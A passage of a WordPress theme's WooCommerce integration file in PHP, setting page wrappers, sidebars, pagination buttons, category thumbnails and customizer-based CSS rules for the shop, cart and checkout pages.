remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 );

if ( ! function_exists( 'penci_woocommerce_custom_wrapper_start' ) ) {
	add_action( 'woocommerce_before_main_content', 'penci_woocommerce_custom_wrapper_start', 10 );
	function penci_woocommerce_custom_wrapper_start() {
		$sidebar_class      = '';
		$right_sidebar      = '';
		$container_class    = 'no-container';
		$penci_woo_class    = array();
		$sidebar_enable     = get_theme_mod( 'penci_woo_shop_enable_sidebar', false );
		$sidebar_cat_enable = get_theme_mod( 'penci_woo_cat_enable_sidebar', false );
		$left_sidebar       = get_theme_mod( 'penci_woo_left_sidebar', false );
		$right_sidebar      = $left_sidebar ? ' left-sidebar' : ' right-sidebar';
		$single_sidebar     = penci_woo_is_activate_sidebar();


		if ( is_shop() && $sidebar_enable ) {
			$sidebar_class = ' penci_sidebar';
		}

		if ( ( is_product_category() || is_product_tag() || penci_is_product_attribute_archive() ) && $sidebar_cat_enable ) {
			$sidebar_class = ' penci_sidebar';
		}

		if ( is_singular( 'product' ) && $single_sidebar ) {
			$sidebar_class = ' penci_sidebar';
			$right_sidebar = 'left' == $single_sidebar ? ' left-sidebar' : ' right-sidebar';
		}

		if ( ! is_singular( 'product' ) ) {
			$container_class = 'container';
		}

		if ( is_singular( 'product' ) ) {
			$penci_woo_class[] = 'sidebar-placement-' . penci_woo_sidebar_placement();
		}

		$penci_woo_class[] = get_theme_mod( 'penci_shop_product_pagination', 'pagination' );
		$penci_woo_class   = apply_filters( 'penci_woo_shop_class', $penci_woo_class );
		$penci_woo_class   = implode( ' ', $penci_woo_class );

		echo '<div class="' . $penci_woo_class . ' ' . $container_class . ' penci-woo-page-container' . $sidebar_class . $right_sidebar . '"><div id="main"><div class="theiaStickySidebar">';

		if ( is_singular( 'product' ) ) {
			do_action( 'penci_woo_before_single_product' );
		}
	}
}

if ( ! function_exists( 'penci_woocommerce_custom_wrapper_end' ) ) {
	add_action( 'woocommerce_after_main_content', 'penci_woocommerce_custom_wrapper_end', 10 );
	function penci_woocommerce_custom_wrapper_end() {
		echo '</div>';
		if ( penci_is_shop_archive() ) {
			wc_get_template_part( 'global/mobile-filter' );
		}
		echo '</div><!--end main-->';
	}
}

/**
 * Hook to change products per page in shop page & categories page
 *
 * @since 2.2
 */
if ( ! function_exists( 'penci_custom_products_per_page' ) ) {
	function penci_custom_products_per_page( $options = 24 ) {
		if ( get_theme_mod( 'penci_woo_post_per_page' ) ) {
			$options = absint( get_theme_mod( 'penci_woo_post_per_page' ) );
		}

		return $options;
	}

	add_filter( 'loop_shop_per_page', 'penci_custom_products_per_page', 10, 1 );
}

/**
 * WooCommerce Unhook sidebar
 *
 * @since 2.2
 */
remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );

if ( ! function_exists( 'penci_woocommerce_add_sidebar_custom' ) && function_exists( 'is_shop' ) && function_exists( 'is_product_category' ) && function_exists( 'is_product_tag' ) && function_exists( 'is_product' ) ) {
	function penci_woocommerce_add_sidebar_custom() {
		if ( ( is_shop() && get_theme_mod( 'penci_woo_shop_enable_sidebar', false ) ) || ( ( is_product_category() || is_product_tag() || penci_is_product_attribute_archive() ) && get_theme_mod( 'penci_woo_cat_enable_sidebar', false ) ) || ( is_singular( 'product' ) && get_theme_mod( 'penci_woo_single_enable_sidebar', false ) ) ) :
			add_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );
		endif;
	}

	add_action( 'template_redirect', 'penci_woocommerce_add_sidebar_custom' );
}

if ( ! function_exists( 'penci_woo_is_activate_sidebar' ) ) {
	function penci_woo_is_activate_sidebar() {

		$sidebar_positon = 'right';
		if ( get_theme_mod( 'penci_woo_left_sidebar', false ) ) {
			$sidebar_positon = 'left';
		}
		$sidebar_enable         = get_theme_mod( 'penci_woo_single_enable_sidebar', false );
		$sidebar_positon        = $sidebar_enable ? $sidebar_positon : '';
		$single_sidebar_positon = penci_get_single_product_meta( get_the_ID(), 'product_sidebar', 'sidebar_position', $sidebar_positon );

		if ( $sidebar_enable || 'disable' != $single_sidebar_positon ) {
			return $single_sidebar_positon;
		} else {
			return false;
		}

	}
}

if ( ! function_exists( 'penci_woo_sidebar_placement' ) ) {
	function penci_woo_sidebar_placement() {
		if ( is_singular( 'product' ) ) {
			$sidebar_placement = penci_get_single_product_meta( get_the_ID(), 'product_sidebar', 'sidebar_placement', get_theme_mod( 'penci_woo_single_sidebar_style', 'bottom' ) );
			$sidebar_placement = penci_woo_is_activate_sidebar() ? $sidebar_placement : 'no-active-sidebar';

			return $sidebar_placement;
		}
	}
}

if ( ! function_exists( 'penci_single_product_custom_options' ) ) {
	add_action( 'woocommerce_before_single_product', 'penci_single_product_custom_options' );
	function penci_single_product_custom_options() {

		$quickview = wc_get_loop_prop( 'quickview', false );

		if ( penci_get_single_product_meta( get_the_ID(), 'product_extra_options', 'hide_related_products' ) ) {
			remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_related_products', 20 );
		}

		$product_style = penci_get_single_product_meta( get_the_ID(), 'product_general', 'penci_single_product_style', get_theme_mod( 'penci_single_product_style' ) );

		if ( 'accordion-content' == $product_style && ! $quickview ) {
			remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_product_data_tabs', 10 );
			add_action( 'woocommerce_single_product_summary', 'woocommerce_output_product_data_tabs', 35 );
		}

		if ( penci_woo_is_activate_sidebar() ) {
			remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 );
			add_action( 'penci_single_product_sidebar', 'woocommerce_get_sidebar', 10 );
		}

	}
}

if ( ! function_exists( 'penci_woo_sidebar_content' ) ) {
	function penci_woo_sidebar_content() {
		if ( penci_woo_is_activate_sidebar() && function_exists( 'woocommerce_get_sidebar' ) ) {
			woocommerce_get_sidebar();
		}
	}
}

if ( ! function_exists( 'penci_woo_infinit_load_button' ) ) {
	add_action( 'woocommerce_after_shop_loop', 'penci_woo_infinit_load_button', 5 );
	function penci_woo_infinit_load_button( $shortcode = '', $page = null ) {
		global $wp_query;
		$pages       = $shortcode ? $page : $wp_query->max_num_pages;
		$load_option = $shortcode ? $shortcode : get_theme_mod( 'penci_shop_product_pagination', 'pagination' );
		if ( 'pagination' != $load_option ) {
			?>
            <div class="page-load-status">
                <div class="loader-ellips infinite-scroll-request">
                    <span class="loader-ellips__dot"></span>
                    <span class="loader-ellips__dot"></span>
                    <span class="loader-ellips__dot"></span>
                    <span class="loader-ellips__dot"></span>
                </div>
				<?php if ( 'infinit' == $load_option ) : ?>
                    <div class="infinite-scroll-request">
                        <div class="page-load-button penci-pagination penci-ajax-more">
                            <a class="penci-ajax-more-button view-more-button button loading-posts" href="#">
                                <span class="ajax-more-text"><?php echo penci_woo_translate_text( 'penci_woo_trans_loading' ); ?></span>
                                <span class="ajaxdot"></span>
                                <i class="penci-faicon fa fa-refresh"></i>
                            </a>
                        </div>
                    </div>
				<?php endif; ?>
            </div>
			<?php
		}
		if ( 'loadmore' == $load_option && $pages > 1 ) {
			?>
            <div class="page-load-button penci-pagination penci-ajax-more">
                <a class="penci-ajax-more-button view-more-button button" href="#">
                    <span class="ajax-more-text"><?php echo penci_woo_translate_text( 'penci_woo_trans_vmproduct' ); ?></span>
                    <span class="ajaxdot"></span>
                    <i class="penci-faicon fa fa-refresh"></i>
                </a>
            </div>
			<?php
		}
	}
}
if ( ! function_exists( 'penci_template_loop_category_title' ) ) {
	remove_action( 'woocommerce_shop_loop_subcategory_title', 'woocommerce_template_loop_category_title', 10 );
	add_action( 'woocommerce_shop_loop_subcategory_title', 'penci_template_loop_category_title', 10 );
	function penci_template_loop_category_title( $category ) {
		?>
        <div class="woocommerce-loop-category__wrapper">
            <h2 class="woocommerce-loop-category__title">
				<?php
				echo esc_html( $category->name );
				?>
            </h2>
			<?php
			if ( $category->count > 0 ) {
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				echo apply_filters( 'woocommerce_subcategory_count_html', ' <span class="count">' . esc_html( $category->count ) . ' ' . penci_woo_translate_text( 'penci_woo_trans_products' ) . '</span>', $category );
			}
			?>
        </div>
		<?php
	}
}

if ( ! function_exists( 'penci_subcategory_get_first_product_image' ) ) {
	function penci_subcategory_get_first_product_image( $category_id ) {
		$product_img_id    = '';
		$placeholder_image = get_option( 'woocommerce_placeholder_image', 0 );
		$arg               = array(
			'post_type'      => 'product',
			'posts_per_page' => 1,
			'tax_query'      => array(
				array(
					'taxonomy' => 'product_cat',
					'terms'    => $category_id,
				),
			),
			'meta_query'     => array(
				array(
					'key'     => '_thumbnail_id',
					'value'   => $placeholder_image,
					'compare' => '!=',
				),
			),
		);
		$product_img       = get_posts( $arg );
		if ( $product_img ) {
			$product_img_id = get_post_thumbnail_id( $product_img[0]->ID );
		}

		return $product_img_id;
	}
}

if ( ! function_exists( 'penci_subcategory_thumbnail' ) ) {
	remove_action( 'woocommerce_before_subcategory_title', 'woocommerce_subcategory_thumbnail', 10 );
	add_action( 'woocommerce_before_subcategory_title', 'penci_subcategory_thumbnail', 10 );
	function penci_subcategory_thumbnail( $category ) {
		$small_thumbnail_size = apply_filters( 'subcategory_archive_thumbnail_size', 'woocommerce_thumbnail' );
		$dimensions           = wc_get_image_size( $small_thumbnail_size );
		$thumbnail_id         = get_term_meta( $category->term_id, 'thumbnail_id', true );
		$thumbnail_id         = $thumbnail_id ? $thumbnail_id : penci_subcategory_get_first_product_image( $category->term_id );

		if ( $thumbnail_id ) {
			$image = wp_get_attachment_image_src( $thumbnail_id, $small_thumbnail_size );

			if ( isset( $image[0] ) && $image[0] ) {
				$image        = $image[0];
				$image_srcset = function_exists( 'wp_get_attachment_image_srcset' ) ? wp_get_attachment_image_srcset( $thumbnail_id, $small_thumbnail_size ) : false;
				$image_sizes  = function_exists( 'wp_get_attachment_image_sizes' ) ? wp_get_attachment_image_sizes( $thumbnail_id, $small_thumbnail_size ) : false;
			} else {
				$image        = wc_placeholder_img_src();
				$image_srcset = false;
				$image_sizes  = false;
			}
		}

		if ( $image ) {
			// Prevent esc_url from breaking spaces in urls for image embeds.
			// Ref: https://core.trac.wordpress.org/ticket/23605.
			$image = str_replace( ' ', '%20', $image );

			// Add responsive image markup if available.
			if ( $image_srcset && $image_sizes ) {
				echo '<div class="product-category-img"><img src="' . esc_url( $image ) . '" alt="' . esc_attr( $category->name ) . '" width="' . esc_attr( $dimensions['width'] ) . '" height="' . esc_attr( $dimensions['height'] ) . '" srcset="' . esc_attr( $image_srcset ) . '" sizes="' . esc_attr( $image_sizes ) . '" /></div>';
			} else {
				echo '<div class="product-category-img"><img src="' . esc_url( $image ) . '" alt="' . esc_attr( $category->name ) . '" width="' . esc_attr( $dimensions['width'] ) . '" height="' . esc_attr( $dimensions['height'] ) . '" /></div>';
			}
		}
	}
}

if ( ! function_exists( 'penci_subcategory_extract_img' ) ) {
	function penci_subcategory_extract_img( $category ) {
		$small_thumbnail_size = apply_filters( 'subcategory_archive_thumbnail_size', 'woocommerce_thumbnail' );
		$dimensions           = wc_get_image_size( $small_thumbnail_size );
		$thumbnail_id         = get_term_meta( $category->term_id, 'thumbnail_id', true );
		$thumbnail_id         = $thumbnail_id ? $thumbnail_id : penci_subcategory_get_first_product_image( $category->term_id );

		return $thumbnail_id;
	}
}

add_filter( 'product_cat_class', 'penci_custom_product_cat_class' );
function penci_custom_product_cat_class( $classes ) {
	$style   = wc_get_loop_prop( 'cat-loop-style' );
	$index   = wc_get_loop_prop( 'loop' );
	$loop_by = wc_get_loop_prop( 'loop_by' );

	if ( $index && $loop_by ) {
		$loop_class = $index % $loop_by;
		$loop_class = $loop_class ? $loop_class : $loop_by;
		$classes[]  = 'penci-cat-item-' . $loop_class;
	}

	$classes[] = 'penci-product-cat-' . $style;

	return $classes;
}

if ( ! function_exists( 'penci_woocommerce_get_customizer_font' ) ) {
	function penci_woocommerce_get_customizer_font( $setting ) {
		$font_family_menu     = get_theme_mod( $setting );
		$font_family_menu_end = $font_family_menu;
		if ( ! array_key_exists( $font_family_menu, penci_font_browser() ) ) {
			$font_family_menu = str_replace( '"', '', $font_family_menu );
			$font_menu_explo  = explode( ', ', $font_family_menu );
			$font_menu        = isset( $font_menu_explo[0] ) ? $font_menu_explo[0] : '';
			$font_menu_serif  = isset( $font_menu_explo[2] ) ? $font_menu_explo[2] : '';
			$space_menu_end   = ', ';
			if ( empty( $font_menu_serif ) ) :
				$space_menu_end = '';
			endif;
			$font_family_menu_end = "'" . $font_menu . "'" . $space_menu_end . $font_menu_serif;
		}

		return $font_family_menu_end;
	}
}
if ( ! function_exists( 'penci_woo_customizer_custom_css_rules' ) ) {
	function penci_woo_customizer_custom_css_rules( $settings, $woocommerce_default_color = array(), $font_family_settings = array(), $defaut_font_size = array(), $echo = true ) {
		$return = array();
		$out    = '';
		foreach ( $settings as $prop => $value ) {
			$prop_value = get_theme_mod( $value );

			$customize_accent_color = get_theme_mod( 'penci_color_accent' );

			$body_fontsize = get_theme_mod( 'penci_font_for_size_body' );
			if ( in_array( $prop, $defaut_font_size ) && ! $prop_value && '14' != $body_fontsize ) {
				$prop_value = $body_fontsize;
			}

			if ( $font_family_settings && in_array( $value, $font_family_settings ) ) {
				$prop_value = penci_woocommerce_get_customizer_font( $value );
			}

			if ( $woocommerce_default_color && in_array( $value, $woocommerce_default_color ) ) {
				$prop_value = ( empty( $prop_value ) && $customize_accent_color ) ? $customize_accent_color : $prop_value;
			}

			// default int is font size
			$unit       = 'px';
			$unit       = 'penci_sidebar_width' == $value ? '%' : $unit;
			$prop_value = is_numeric( $prop_value ) && $prop_value > 0 ? $prop_value . $unit : $prop_value;

			if ( $prop_value ) {
				$return[] = $prop . ': ' . $prop_value;
			}
		}

		if ( ! empty( $return ) && isset( $return ) ) {
			$out = 'body{' . implode( ';', $return ) . '}';
		}

		if ( $echo ) {
			echo $out;
		} else {
			return $out;
		}
	}
}

if ( ! function_exists( 'penci_woo_customizer_custom_css_prop' ) ) {
	function penci_woo_customizer_custom_css_prop( $settings, $mobile = false ) {
		$out = $before = $after = '';
		foreach ( $settings as $prop => $rules ) {
			$value = get_theme_mod( $prop );
			if ( $value ) {
				foreach ( $rules as $rule => $selector ) {
					$extra = $rule == 'font-size' ? 'px' : '';
					$out   .= $selector . '{' . $rule . ':' . $value . $extra . '}';
				}
			}
		}

		if ( $mobile ) {
			$before = '@media only screen and (max-width:767px){';
			$after  = '}';
		}

		return $before . $out . $after;
	}
}

if ( ! function_exists( 'penci_woo_hex2rgb' ) ) {
	function penci_woo_hex2rgb( $color, $opacity = null ) {

		$out = '';

		list( $r, $g, $b ) = sscanf( $color, "#%02x%02x%02x" );

		if ( $opacity ) {
			$out = 'rgba(' . $r . ',' . $g . ',' . $b . ',' . $opacity . ')';
		}

		return $out;
	}
}

if ( ! function_exists( 'penci_woocommerce_custom_style' ) ) {
	add_action( 'soledad_theme/custom_css', 'penci_woocommerce_custom_style' );
	function penci_woocommerce_custom_style() {
		$product_customize_settings = array(
			'--pccat_tt_cl'                 => 'penci_woo_product_loop_title_color',
			'--pccat_price_cl'              => 'penci_woo_product_loop_price_color',
			'--pccat_cat_cl'                => 'penci_woo_product_loop_cat_color',
			'--pccat_cat_hv_cl'             => 'penci_woo_product_loop_cat_hover_color',
			'--pccat_btn_groups_bgcl'       => 'penci_woo_product_loop_button_groups_bgcolor',
			'--pccat_btn_cl'                => 'penci_woo_product_loop_button_color',
			'--pccat_progress_bg_cl'        => 'penci_woo_product_loop_progress_bg_color',
			'--pccat_progress_active_bg_cl' => 'penci_woo_product_loop_progress_active_bg_color',
			'--pccat_progress_height'       => 'penci_woo_product_loop_progress_height',
			'--pcpage_gtext_cl'             => 'penci_product_page_general_text_color',
			'--pcpage_glink_cl'             => 'penci_product_page_general_link_color',
			'--pcpage_glink_hv_cl'          => 'penci_product_page_general_link_hover_color',
			'--pcpage_gbdr_cl'              => 'penci_product_page_general_border_color',
			'--pcpage_btns_bdr_cl'          => 'penci_product_page_button_swatches_border_color',
			'--pcpage_btns_bdr_hv_cl'       => 'penci_product_page_button_swatches_border_hover_color',
			'--pcpage_btns_bg_cl'           => 'penci_product_page_button_swatches_bg_color',
			'--pcpage_btns_bg_hv_cl'        => 'penci_product_page_button_swatches_bg_hover_color',
			'--pcpage_btn_atc_bg_cl'        => 'penci_product_page_button_atc_bg_color',
			'--pcpage_btn_atc_bg_hv_cl'     => 'penci_product_page_button_atc_bg_hover_color',
			'--pcpage_meta_cl'              => 'penci_product_page_meta_color',
			'--pcpage_meta_link_cl'         => 'penci_product_page_meta_link_color',
			'--pcpage_meta_link_hv_cl'      => 'penci_product_page_meta_link_hover_color',
			'--pcpage_tab_tt_cl'            => 'penci_product_page_tab_title_color',
			'--pcpage_tab_tt_active_cl'     => 'penci_product_page_tab_title_active_color',
			'--pcwp_tt_cl'                  => 'penci_woo_page_title_color',
			'--pcwp_btn_bg_cl'              => 'penci_woo_page_button_bg_color',
			'--pcwp_btn_bg_hv_cl'           => 'penci_woo_page_button_bg_hover_color',
			'--pcwp_btn_alt_bg_cl'          => 'penci_woo_page_button_alt_bg_color',
			'--pcwp_btn_alt_bg_hv_cl'       => 'penci_woo_page_button_alt_bg_hover_color',
			'--pcsl_tt_fs'                  => 'pencidesign_woo_product_loop_title_font_size',
			'--pcsl_tt_m_fs'                => 'pencidesign_woo_product_loop_title_m_font_size',
			'--pcsl_tt_l_fs'                => 'pencidesign_woo_product_loop_list_title_font_size',
			'--pcsl_tt_l_m_fs'              => 'pencidesign_woo_product_loop_list_title_m_font_size',
			'--pcsl_meta_fs'                => 'pencidesign_woo_product_loop_meta_font_size',
			'--pcsl_meta_m_fs'              => 'pencidesign_woo_product_loop_meta_m_font_size',
			'--pcsl_price_fs'               => 'pencidesign_woo_product_loop_price_font_size',
			'--pcsl_price_m_fs'             => 'pencidesign_woo_product_loop_price_m_font_size',
			'--pcsl_btn_icon_size'          => 'pencidesign_woo_product_loop_button_icon_size',
			'--pcs_fsp_single_m_tt'         => 'pencidesign_woo_fontsize_product_single_m_title',
			'--pcs_fsp_single_tt'           => 'pencidesign_woo_fontsize_product_single_title',
			'--pcs_fsp_price'               => 'pencidesign_woo_fontsize_product_price',
			'--pcs_fsp_m_price'             => 'pencidesign_woo_fontsize_m_product_price',
			'--pcs_fsp_breadcrumb'          => 'pencidesign_woo_fontsize_product_breadcrumb',
			'--pcs_fsp_m_breadcrumb'        => 'pencidesign_woo_fontsize_m_product_breadcrumb',
			'--pcs_fsp_general'             => 'pencidesign_woo_fontsize_product_general',
			'--pcs_fsp_tab_tt'              => 'pencidesign_woo_fontsize_product_tab_title',
			'--pcs_fsp_tab_m_tt'            => 'pencidesign_woo_fontsize_product_tab_m_title',
			'--pcs_fsp_meta'                => 'pencidesign_woo_fontsize_product_meta',
			'--pcs_fsp_m_meta'              => 'pencidesign_woo_fontsize_m_product_meta',
			'--pcaccent-cl'                 => 'penci_color_accent',
			'--pclabel_hot'                 => 'penci_woo_label_hot_color',
			'--pclabel_new'                 => 'penci_woo_label_new_color',
			'--pclabel_sale'                => 'penci_woo_label_sale_color',
			'--pclabel_outstock'            => 'penci_woo_label_outstock_color',
			'--pclabel_size'                => 'pencidesign_woo_product_loop_label_size',
			'--pclabel_m_size'              => 'pencidesign_woo_product_loop_label_m_size',

			'--pcsl_tt_btn3_size'          => 'pencidesign_woo_product_loop_button_3_size',
			'--pcsl_tt_btn3_m_size'        => 'pencidesign_woo_product_loop_button_3_m_size',
			'--pcsl_tt_btn4_size'          => 'pencidesign_woo_product_loop_button_4_size',
			'--pcsl_tt_btn4_m_size'        => 'pencidesign_woo_product_loop_button_4_m_size',
			'--pcsl_tt_btn5_size'          => 'pencidesign_woo_product_loop_button_5_size',
			'--pcsl_tt_btn5_m_size'        => 'pencidesign_woo_product_loop_button_5_m_size',
			'--pcsl_tt_lb_size'            => 'pencidesign_woo_fontsize_product_label',
			'--pcsl_tt_lb_m_size'          => 'pencidesign_woo_fontsize_m_product_label',

			// overlay settings
			'--pcl_o_bg'                   => 'penci_woo_product_overlay_bg_color',
			'--pcl_o_opacity'              => 'penci_woo_product_overlay_opacity',
			'--pcl_o_tt_cl'                => 'penci_woo_product_overlay_title_color',
			'--pcl_o_l_cl'                 => 'penci_woo_product_overlay_link_color',
			'--pcl_o_lhv_cl'               => 'penci_woo_product_overlay_link_hover_color',
			'--pcl_o_btn_cl'               => 'penci_woo_product_overlay_button_color',

			// styl3
			'--pcl_3_atc_bg_cl'            => 'penci_woo_product_item_style3_atc_bg_color',
			'--pcl_3_atc_bg_hv_cl'         => 'penci_woo_product_item_style3_atc_bg_hover_color',
			'--pcl_3_atc_txt_cl'           => 'penci_woo_product_item_style3_atc_text_color',
			'--pcl_3_atc_txt_hv_cl'        => 'penci_woo_product_item_style3_atc_text_hover_color',

			// style6
			'--pcl_6_price_cl'             => 'penci_woo_product_item_style6_price_color',
			'--pcl_6_l_cl'                 => 'penci_woo_product_item_style6_link_color',
			'--pcl_6_lhv_cl'               => 'penci_woo_product_item_style6_link_hover_color',
			'--pcl_6_tt_cl'                => 'penci_woo_product_item_style6_title_color',
			'--pcl_6_txt_cl'               => 'penci_woo_product_item_style6_text_color',
			'--pcl_6_bg_cl'                => 'penci_woo_product_item_style6_bg',

			// style4
			'--pcl_4_btn_txt_cl'           => 'penci_woo_product_item_style4_atc_txt_color',
			'--pcl_4_btn_txt_hv_cl'        => 'penci_woo_product_item_style4_atc_hv_txt_color',
			'--pcl_4_btn_bg_cl'            => 'penci_woo_product_item_style4_atc_bg_color',
			'--pcl_4_btn_bg_hv_cl'         => 'penci_woo_product_item_style4_atc_hv_bg_color',

			// style5
			'--pcl_5_btn_txt_cl'           => 'penci_woo_product_item_style5_atc_text_color',
			'--pcl_5_btn_txt_hv_cl'        => 'penci_woo_product_item_style5_atc_hv_text_color',
			'--pcl_5_btn_bd_cl'            => 'penci_woo_product_item_style5_atc_border_color',
			'--pcl_5_btn_bd_hv_cl'         => 'penci_woo_product_item_style5_atc_hv_border_color',
			'--pcl_5_btn_bg_cl'            => 'penci_woo_product_item_style5_atc_bg_color',
			'--pcl_5_btn_bg_hv_cl'         => 'penci_woo_product_item_style5_atc_hv_bg_color',


			// button group
			'--pcl_btn_group_bg_color'     => 'penci_woo_product_loop_button_bg_color',
			'--pcl_btn_group_bg_hv_color'  => 'penci_woo_product_loop_button_bg_hover_color',
			'--pcl_btn_group_txt_color'    => 'penci_woo_product_loop_button_color',
			'--pcl_btn_group_txt_hv_color' => 'penci_woo_product_loop_button_hover_color',


			// product category loop
			'--pcl_l_cat_fs'               => 'penci_woo_loop_meta_font_size',
			'--pcl_l_cat_fs_m'             => 'penci_woo_loop_meta_font_size_m',
			'--pcl_l_cat_tt_fs'            => 'penci_woo_loop_cat_font_size',
			'--pcl_l_cat_tt_fs_m'          => 'penci_woo_loop_cat_font_size_m',
			'--pcl_l_cat_cl'               => 'penci_woo_section_product_cat_loop_meta_color',
			'--pcl_l_cat_tt_cl'            => 'penci_woo_section_product_cat_loop_title_color',
			'--pcl_l_cat_o_cl'             => 'penci_woo_section_product_cat_loop_overlay_color',

			// theme settings
			'--pc-sidebar-w'               => 'penci_sidebar_width',
			'--pc-sf-sum-w'                => 'penci_single_product_summary_width',

			// widget extra
			'--pc-w-mh'                    => 'penci_woo_widgets_scroll_height',
			'--pc-w-mhm'                   => 'penci_woo_widgets_scroll_m_height',
		);

		$cart_page_props = array(
			'penci_woo_cart_breadcrumb_color'                => array(
				'color' => '.woocommerce .penci_woo_pages_breadcrumbs ul li.active span, .woocommerce .penci_woo_pages_breadcrumbs ul li.active a',
			),
			'penci_woo_cart_breadcrumb_active_color'         => array(
				'color' => '.woocommerce .penci_woo_pages_breadcrumbs ul li span,.woocommerce .penci_woo_pages_breadcrumbs ul li a',
			),
			'penci_woo_cart_tablehead_color'                 => array(
				'color' => '.woocommerce table.shop_table th',
			),
			'penci_woo_cart_table_border_color'              => array(
				'border-color' => '.woocommerce table.shop_table th,.woocommerce table.shop_table td,.post-entry td, .post-entry th',
			),
			'penci_woo_cart_table_txt_color'                 => array(),
			'penci_woo_cart_table_product_title_color'       => array(
				'color' => '.woocommerce table.shop_table td.product-name a',
			),
			'penci_woo_cart_table_product_title_hover_color' => array(
				'color' => '.woocommerce table.shop_table td.product-name a:hover',
			),
			'penci_woo_cart_table_product_price_color'       => array(
				'color' => '.woocommerce table.shop_table td.product-subtotal span',
			),
			'penci_woo_cart_btn_bg_color'                    => array(
				'background-color' => '.woocommerce-cart .wc-proceed-to-checkout a',
			),
			'penci_woo_cart_btn_txt_color'                   => array(
				'color' => '.woocommerce-cart .wc-proceed-to-checkout a',
			),
			'penci_woo_cart_btn_hover_bg_color'              => array(
				'background-color' => '.woocommerce-cart .wc-proceed-to-checkout a:hover',
			),
			'penci_woo_cart_btn_hover_txt_color'             => array(
				'color' => '.woocommerce-cart .wc-proceed-to-checkout a:hover',
			),
			'penci_woo_cart_sbtn_bg_color'                   => array(
				'background-color' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"], .woocommerce .woocommerce-cart-form .cart button.button, .woocommerce .woocommerce-cart-form .cart button.button:disabled, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled]',
			),
			'penci_woo_cart_sbtn_txt_color'                  => array(
				'color' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"], .woocommerce .woocommerce-cart-form .cart button.button, .woocommerce .woocommerce-cart-form .cart button.button:disabled, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled]',
			),
			'penci_woo_cart_sbtn_hover_bg_color'             => array(
				'background-color' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"]:hover, .woocommerce .woocommerce-cart-form .cart button.button:hover, .woocommerce .woocommerce-cart-form .cart button.button:disabled:hover, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled]:hover',
			),
			'penci_woo_cart_sbtn_hover_txt_color'            => array(
				'color' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"]:hover, .woocommerce .woocommerce-cart-form .cart button.button:hover, .woocommerce .woocommerce-cart-form .cart button.button:disabled:hover, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled]:hover',
			),
			'penci_woo_cart_del_btn_color'                   => array(
				'color' => '.woocommerce table.shop_table a.remove',
			),
			'penci_woo_cart_del_btn_hv_color'                => array(
				'color' => '.woocommerce table.shop_table a.remove:hover',
			),
		);

		$checkout_page_prop = array(
			'penci_woo_checkout_breadcrumb_color'         => array(
				'color' => '.woocommerce .penci_woo_pages_breadcrumbs ul li span, .woocommerce .penci_woo_pages_breadcrumbs ul li a',
			),
			'penci_woo_checkout_breadcrumb_active_color'  => array(
				'color' => '.woocommerce .penci_woo_pages_breadcrumbs ul li.active span, .woocommerce .penci_woo_pages_breadcrumbs ul li.active a',
			),
			'penci_woo_checkout_form_label_color'         => array(
				'color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout label',
			),
			'penci_woo_checkout_form_border_color'        => array(
				'border-color' => '.woocommerce form .form-row .input-text, .woocommerce-page form .form-row .input-text,.select2-dropdown, .select2-container--default .select2-selection--single',
			),
			'penci_woo_checkout_form_border_focus_color'  => array(
				'border-color' => '.woocommerce form .form-row .input-text:focus, .woocommerce-page form .form-row .input-text:focus',
			),
			'penci_woo_checkout_form_bg_color'            => array(
				'background-color' => '.woocommerce form .form-row .input-text, .woocommerce-page form .form-row .input-text',
			),
			'penci_woo_checkout_form_bg_focus_color'      => array(
				'background-color' => '.woocommerce form .form-row .input-text:focus, .woocommerce-page form .form-row .input-text:focus',
			),
			'penci_woo_checkout_order_bg_color'           => array(
				'background-color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner',
			),
			'penci_woo_checkout_order_table_bg_color'     => array(
				'background-color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner table, body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner .woocommerce-checkout-payment',
			),
			'penci_woo_checkout_order_table_color'        => array(
				'color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner table, body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner .woocommerce-checkout-payment',
			),
			'penci_woo_checkout_order_head_color'         => array(
				'color' => '.woocommerce table.shop_table th',
			),
			'penci_woo_checkout_order_accent_color'       => array(
				'color' => '.woocommerce form.checkout table.shop_table .order-total .amount',
			),
			'penci_woo_checkout_order_table_border_color' => array(
				'border-color' => '.woocommerce-checkout #payment ul.payment_methods,.woocommerce table.shop_table th,.woocommerce table.shop_table tr',
			),
			'penci_woo_checkout_btn_bg_color'             => array(
				'background-color' => '.woocommerce button.button.alt',
			),
			'penci_woo_checkout_btn_txt_color'            => array(
				'color' => '.woocommerce button.button.alt,body.woocommerce-checkout form.checkout.woocommerce-checkout button',
			),
			'penci_woo_checkout_btn_hover_bg_color'       => array(
				'background-color' => '.woocommerce button.button.alt:hover,body.woocommerce-checkout form.checkout.woocommerce-checkout button:hover',
			),
			'penci_woo_checkout_btn_hover_txt_color'      => array(
				'color' => '.woocommerce button.button.alt:hover,body.woocommerce-checkout form.checkout.woocommerce-checkout button:hover',
			),
			'penci_woo_checkout_review_order_bg_color'    => array(
				'background-color' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner',
			)
		);

		$completed_page_prop = array(
			'penci_woo_checkout_txt_color'             => array(
				'color' => '.woocommerce-order',
			),
			'penci_woo_checkout_head_color'            => array(
				'color' => '.post-entry h2,.woocommerce ul.order_details li strong,.woocommerce table.shop_table th,.woocommerce table.shop_table td.product-name a',
			),
